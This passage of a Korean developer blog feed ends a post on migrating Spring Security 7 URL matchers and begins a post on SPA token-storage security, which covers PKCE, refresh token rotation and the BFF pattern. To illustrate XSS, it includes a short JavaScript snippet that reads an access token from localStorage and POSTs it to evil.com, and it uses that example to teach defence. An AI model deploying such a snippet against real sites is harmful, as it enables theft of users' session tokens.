        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;csrf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;AbstractHttpConfigurer:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;disable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;cors&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// ... (나머지 설정 동일)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;방법-b-문자열-패턴-직접-사용-더-간결&quot;&gt;방법 B: 문자열 패턴 직접 사용 (더 간결)&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpSecurity.securityMatcher(String... patterns)&lt;/code&gt;는 내부적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PathPatternRequestMatcher&lt;/code&gt;를 사용하도록 변경되었습니다. 따라서 객체를 직접 생성하지 않고 문자열만 넘겨도 됩니다.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;apiAdminSecurityFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 수정됨: 문자열 패턴 전달 (내부적으로 PathPatternRequestMatcher 사용)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;csrf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;AbstractHttpConfigurer:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;disable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/**&lt;/code&gt;처럼 단순한 패턴은 방법 B가 가장 깔끔합니다.&lt;/p&gt;

&lt;h2 id=&quot;pathpattern-문법-주의사항&quot;&gt;PathPattern 문법 주의사항&lt;/h2&gt;

&lt;p&gt;PathPattern은 Ant 스타일과 유사하지만 문법이 더 엄격합니다. 특히 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;**&lt;/code&gt; (이중 와일드카드) 사용 시 주의해야 합니다.&lt;/p&gt;

&lt;h3 id=&quot;-규칙&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;**&lt;/code&gt; 규칙&lt;/h3&gt;

&lt;p&gt;이중 와일드카드는 &lt;strong&gt;반드시 패턴의 맨 끝에서만 사용 가능&lt;/strong&gt;합니다.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;패턴&lt;/th&gt;
      &lt;th&gt;가능 여부&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/**&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;✅ 가능&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/**/details&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;❌ 불가능&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;만약 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/**/details&lt;/code&gt; 같은 중간 와일드카드가 필요하다면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RegexRequestMatcher&lt;/code&gt; 사용을 고려해야 합니다.&lt;/p&gt;

&lt;h2 id=&quot;정리&quot;&gt;정리&lt;/h2&gt;

&lt;p&gt;Spring Security 7.0으로 업그레이드할 때 기억해야 할 핵심 사항은 다음과 같습니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AntPathRequestMatcher&lt;/code&gt;는 더 이상 사용할 수 없습니다&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PathPatternRequestMatcher&lt;/code&gt;가 공식 대체 방식입니다&lt;/li&gt;
  &lt;li&gt;단순 패턴(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/**&lt;/code&gt;)은 문자열 방식이 가장 간단하고 권장됩니다&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;**&lt;/code&gt;는 패턴의 맨 끝에서만 사용 가능하므로 주의가 필요합니다&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;마이그레이션 과정에서 이 내용을 참고하시면 큰 어려움 없이 업그레이드하실 수 있을 것입니다.&lt;/p&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 29 Jan 2026 16:40:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/spring/security/2026/01/29/spring-security7-url-matcher.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/spring/security/2026/01/29/spring-security7-url-matcher.html</guid>
        
        <category>Spring</category>
        
        <category>Security</category>
        
        <category>Url</category>
        
        <category>Matcher</category>
        
        
        <category>Spring</category>
        
        <category>Security</category>
        
      </item>
    
      <item>
        <title>SPA 보안 아키텍처 | 토큰을 브라우저에 두지 말아야 하는 이유 🔐</title>
        <description>&lt;p&gt;SPA(Single Page Application) 개발하면서 “토큰을 LocalStorage에 저장할까, 쿠키에 저장할까?” 고민해보신 적 있으신가요? 아니면 “PKCE가 뭔데 꼭 써야 하나?” 싶으셨다면, 이 글이 답입니다. 2026년 현재, 웹 보안의 가장 뜨거운 감자인 SPA 인증/인가 문제를 한 방에 정리했습니다.&lt;/p&gt;

&lt;hr /&gt;
&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
—&lt;/p&gt;

&lt;h1 id=&quot;왜-spa는-보안이-어려운가&quot;&gt;왜 SPA는 보안이 어려운가?&lt;/h1&gt;

&lt;h2 id=&quot;신뢰-경계가-무너졌다&quot;&gt;신뢰 경계가 무너졌다&lt;/h2&gt;

&lt;p&gt;전통적인 웹 애플리케이션은 간단했습니다. 서버가 HTML을 렌더링하고, 브라우저는 그냥 보여주기만 하면 됐죠. 세션 정보는 서버 메모리에 안전하게 보관되고, 클라이언트는 단순한 세션 ID 쿠키만 들고 있으면 됐습니다.&lt;/p&gt;

&lt;p&gt;그런데 SPA는 다릅니다. 비즈니스 로직이 브라우저로 넘어왔고, 상태 관리도 클라이언트에서 합니다. React나 Vue로 화려한 UI를 만들 수 있게 됐지만, 보안 관점에서는 재앙이었습니다. &lt;strong&gt;브라우저라는 신뢰할 수 없는 환경에 민감한 인증 토큰을 보관해야 하는&lt;/strong&gt; 상황이 된 겁니다.&lt;/p&gt;

&lt;h2 id=&quot;퍼블릭-클라이언트의-딜레마&quot;&gt;퍼블릭 클라이언트의 딜레마&lt;/h2&gt;

&lt;p&gt;OAuth 2.0 표준은 클라이언트를 두 가지로 분류합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;기밀 클라이언트(Confidential Client):&lt;/strong&gt; 서버에서 실행되는 애플리케이션입니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;을 안전하게 보관할 수 있죠. 예를 들어 Node.js 백엔드나 Spring Boot 서버가 여기 해당합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;퍼블릭 클라이언트(Public Client):&lt;/strong&gt; 사용자 디바이스에서 실행되는 애플리케이션입니다. SPA, 모바일 앱, 데스크톱 앱이 여기 속합니다. 코드가 사용자에게 노출되므로 비밀키를 가질 수 없습니다.&lt;/p&gt;

&lt;p&gt;SPA는 JavaScript 코드가 브라우저에서 그대로 실행되므로 태생적으로 퍼블릭 클라이언트입니다. 개발자 도구만 열면 모든 코드가 보이는데, 여기에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;을 하드코딩한다? 그건 GitHub에 비밀번호 커밋하는 것과 다를 바 없습니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;퍼블릭-클라이언트가-직면한-위협들&quot;&gt;퍼블릭 클라이언트가 직면한 위협들&lt;/h1&gt;

&lt;h2 id=&quot;1-클라이언트-사칭-client-impersonation&quot;&gt;1. 클라이언트 사칭 (Client Impersonation)&lt;/h2&gt;

&lt;p&gt;기밀 클라이언트는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;으로 자신의 신원을 증명합니다. 하지만 퍼블릭 클라이언트는 이게 불가능합니다. 만약 실수로 SPA 코드에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;을 포함했다면? 공격자는 개발자 도구로 이를 추출해서 정상 앱인 척 사칭할 수 있습니다.&lt;/p&gt;

&lt;p&gt;이게 왜 문제냐면, 공격자가 사용자 데이터를 낚아채거나(피싱), 부정한 토큰을 마음대로 발급받을 수 있기 때문입니다. 그래서 IETF와 OWASP는 퍼블릭 클라이언트에서 Client Credentials Grant 방식을 &lt;strong&gt;절대 사용하지 말라&lt;/strong&gt;고 못 박고 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;2-암시적-흐름implicit-flow의-몰락&quot;&gt;2. 암시적 흐름(Implicit Flow)의 몰락&lt;/h2&gt;

&lt;p&gt;과거 SPA 개발 초기에는 Implicit Flow가 인기였습니다. 인증 코드 교환 단계를 생략하고, URL 해시(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt;)에 토큰을 바로 담아 전달하는 방식이었죠.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://myapp.com/callback#access_token=eyJhbG...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;간단해 보이지만 치명적인 결함이 있었습니다:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;토큰 유출:&lt;/strong&gt; URL에 포함된 토큰은 브라우저 히스토리, 프록시 로그, Referer 헤더를 통해 제3자에게 노출됩니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;재발급 불가:&lt;/strong&gt; 보안상 리프레시 토큰을 주지 않으므로, 액세스 토큰 만료 시마다 재인증이 필요합니다&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;서드파티 쿠키 차단:&lt;/strong&gt; iframe을 이용한 사일런트 갱신이 ITP(Intelligent Tracking Prevention) 정책으로 막혔습니다&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;그래서 2026년 현재, Implicit Flow는 완전히 퇴출되었습니다. OAuth 2.1 표준에서 아예 삭제됐죠.&lt;/p&gt;

&lt;h2 id=&quot;3-xss-가장-무서운-적&quot;&gt;3. XSS: 가장 무서운 적&lt;/h2&gt;

&lt;p&gt;퍼블릭 클라이언트의 최대 위협은 &lt;strong&gt;XSS(Cross-Site Scripting)&lt;/strong&gt; 공격입니다. SPA는 수많은 npm 패키지와 CDN 스크립트에 의존합니다. 이 중 하나만 감염되거나 코드에 취약점이 있으면, 공격자는 악성 스크립트를 실행해서 토큰을 탈취할 수 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// 공격자의 악성 스크립트&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://evil.com/steal&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;서버 사이드 세션과 달리, JWT 같은 토큰은 그 자체로 권한을 가지고 있습니다. 탈취되는 순간 공격자는 사용자인 척 모든 API를 마음대로 호출할 수 있습니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;해결책-1-pkce-기반-authorization-code-flow&quot;&gt;해결책 1: PKCE 기반 Authorization Code Flow&lt;/h1&gt;

&lt;p&gt;별도 백엔드 없이 S3나 CDN에 정적 호스팅하는 SPA라면, 브라우저 단독으로 인증을 처리해야 합니다. 이때의 유일한 표준은 &lt;strong&gt;PKCE(Proof Key for Code Exchange)&lt;/strong&gt;가 적용된 Authorization Code Flow입니다.&lt;/p&gt;

&lt;h2 id=&quot;pkce가-뭔데&quot;&gt;PKCE가 뭔데?&lt;/h2&gt;

&lt;p&gt;PKCE(발음: 피씨)는 원래 모바일 앱을 위해 만들어졌지만, 지금은 모든 퍼블릭 클라이언트의 표준입니다. 핵심은 &lt;strong&gt;동적 비밀&lt;/strong&gt;을 만들어 인증 코드를 보호하는 겁니다.&lt;/p&gt;

&lt;h3 id=&quot;동작-과정&quot;&gt;동작 과정&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Code Verifier 생성:&lt;/strong&gt; 클라이언트가 암호학적으로 안전한 난수를 생성합니다
    &lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;codeVerifier&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;generateRandomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Code Challenge 도출:&lt;/strong&gt; Verifier를 SHA-256으로 해싱합니다
    &lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;codeChallenge&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;base64url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;codeVerifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;인증 요청:&lt;/strong&gt; Challenge를 인증 서버로 보냅니다
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/authorize?code_challenge=E9M...&amp;amp;code_challenge_method=S256
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;토큰 교환:&lt;/strong&gt; 인증 코드를 받은 후, 원본 Verifier를 함께 보냅니다
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/token?code=abc123&amp;amp;code_verifier=원본난수
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;검증:&lt;/strong&gt; 서버가 Verifier를 해싱해서 처음 받은 Challenge와 비교합니다&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;왜-안전한가&quot;&gt;왜 안전한가?&lt;/h3&gt;

&lt;p&gt;공격자가 리다이렉트 과정에서 인증 코드를 가로챈다고 해도 소용없습니다. 토큰으로 교환하려면 원본 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_verifier&lt;/code&gt;가 필요한데, 이건 해시의 역상 저항성 때문에 복원이 불가능합니다. &lt;strong&gt;공격자는 코드를 가졌어도 토큰을 못 받는 겁니다.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;pkce의-한계와-리프레시-토큰-로테이션&quot;&gt;PKCE의 한계와 리프레시 토큰 로테이션&lt;/h2&gt;

&lt;p&gt;PKCE는 인증 코드를 보호하지만, 결국 발급받은 토큰은 브라우저에 저장해야 합니다. XSS 공격 위험은 여전히 존재하죠. 이를 보완하기 위해 &lt;strong&gt;리프레시 토큰 로테이션(Refresh Token Rotation)&lt;/strong&gt;이 필수입니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;작동 방식:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;리프레시 토큰을 일회용으로 만듭니다&lt;/li&gt;
  &lt;li&gt;액세스 토큰 갱신할 때마다 새 리프레시 토큰을 발급하고, 이전 토큰은 즉시 폐기합니다&lt;/li&gt;
  &lt;li&gt;만약 이미 사용된 토큰으로 갱신을 시도하면? 서버는 &lt;strong&gt;“토큰이 탈취됐다!”&lt;/strong&gt;고 판단하고 해당 토큰 계열을 모두 무효화합니다&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;공격자뿐만 아니라 정상 사용자도 로그아웃되지만, 공격의 지속성을 차단하는 강력한 방어책입니다.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;해결책-2-bff-backend-for-frontend-패턴&quot;&gt;해결책 2: BFF (Backend for Frontend) 패턴&lt;/h1&gt;

&lt;p&gt;IETF와 보안 전문가들이 &lt;strong&gt;강력하게 권장&lt;/strong&gt;하는 최상의 아키텍처입니다. 철학은 단순합니다:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;“브라우저에는 토큰을 두지 않는다(No Tokens in the Browser)”&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;bff-아키텍처-이해하기&quot;&gt;BFF 아키텍처 이해하기&lt;/h2&gt;

&lt;p&gt;BFF는 SPA와 API 서버 사이에 전용 백엔드를 배치합니다. 이 백엔드는 Node.js, .NET, Java 등으로 구현된 경량 서버일 수도 있고, API 게이트웨이 플러그인일 수도 있습니다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Browser] ←→ [BFF] ←→ [Auth Server]
             ↓
         [API Server]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;동작-흐름&quot;&gt;동작 흐름&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;기밀 클라이언트 전환:&lt;/strong&gt; BFF는 서버 환경에서 동작하므로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;을 안전하게 관리할 수 있습니다&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;토큰의 은닉:&lt;/strong&gt; 사용자가 로그인하면, BFF가 인증 서버와 통신해서 토큰을 받습니다. &lt;strong&gt;중요한 건 이 토큰들이 절대 브라우저로 전송되지 않는다는 겁니다.&lt;/strong&gt; 토큰은 BFF의 메모리, Redis, 또는 암호화된 쿠키에만 저장됩니다.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;세션 쿠키 발급:&lt;/strong&gt; BFF는 SPA에게 토큰 대신, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Secure&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameSite&lt;/code&gt; 속성이 적용된 세션 쿠키를 줍니다. 이 쿠키는 단순 식별자일 뿐이며, JWT payload 같은 건 없습니다.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;프록시 역할:&lt;/strong&gt; SPA가 API를 호출할 때 쿠키를 BFF로 보내면, BFF가 쿠키를 검증하고 실제 액세스 토큰을 찾아 API 요청의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authorization&lt;/code&gt; 헤더에 주입해서 전달합니다.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;bff의-보안적-우위&quot;&gt;BFF의 보안적 우위&lt;/h2&gt;

&lt;h3 id=&quot;xss-완전-방어&quot;&gt;XSS 완전 방어&lt;/h3&gt;

&lt;p&gt;브라우저에는 JavaScript가 읽을 수 없는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt; 쿠키만 있습니다. XSS 공격자가 악성 스크립트를 실행해도 &lt;strong&gt;토큰 자체를 훔칠 수 없습니다&lt;/strong&gt;. 기껏해야 사용자 세션으로 요청을 보내는 정도인데, 이건 CSRF 방어로 막을 수 있습니다.&lt;/p&gt;

&lt;h3 id=&quot;액세스-제어-중앙화&quot;&gt;액세스 제어 중앙화&lt;/h3&gt;

&lt;p&gt;BFF에서 API 응답을 필터링하거나, 여러 마이크로서비스 데이터를 집계해서 프론트엔드에 전달할 수 있습니다. Over-fetching 문제도 해결되고 프론트엔드 로직도 단순해집니다.&lt;/p&gt;

&lt;h3 id=&quot;복잡성-격리&quot;&gt;복잡성 격리&lt;/h3&gt;

&lt;p&gt;토큰 갱신, 에러 처리, 로그아웃 같은 복잡한 인증 로직을 백엔드로 격리시켜서 SPA 코드를 비즈니스 로직에만 집중시킬 수 있습니다.&lt;/p&gt;

&lt;h2 id=&quot;토큰-핸들러-패턴-bff의-경량-버전&quot;&gt;토큰 핸들러 패턴: BFF의 경량 버전&lt;/h2&gt;

&lt;p&gt;BFF 패턴의 구현체 중 하나로, 전체 API를 중계하는 대신 &lt;strong&gt;보안 기능에만 특화&lt;/strong&gt;된 토큰 핸들러 패턴도 있습니다. Curity 같은 곳에서 제안하는 방식이죠.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;구성 요소:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OAuth Agent:&lt;/strong&gt; 토큰 발급, 갱신, 쿠키 발행만 담당&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;OAuth Proxy:&lt;/strong&gt; API 게이트웨이 레벨에서 쿠키를 검증하고 토큰으로 교환&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;이점:&lt;/strong&gt; SPA를 CDN에 정적 배포하면서도, API 게이트웨이만 활용해 BFF의 보안 이점을 누릴 수 있습니다. 별도의 BFF 서버 코드 작성 없이 인프라 설정만으로 보안을 강화할 수 있죠.&lt;/p&gt;

&lt;hr /&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
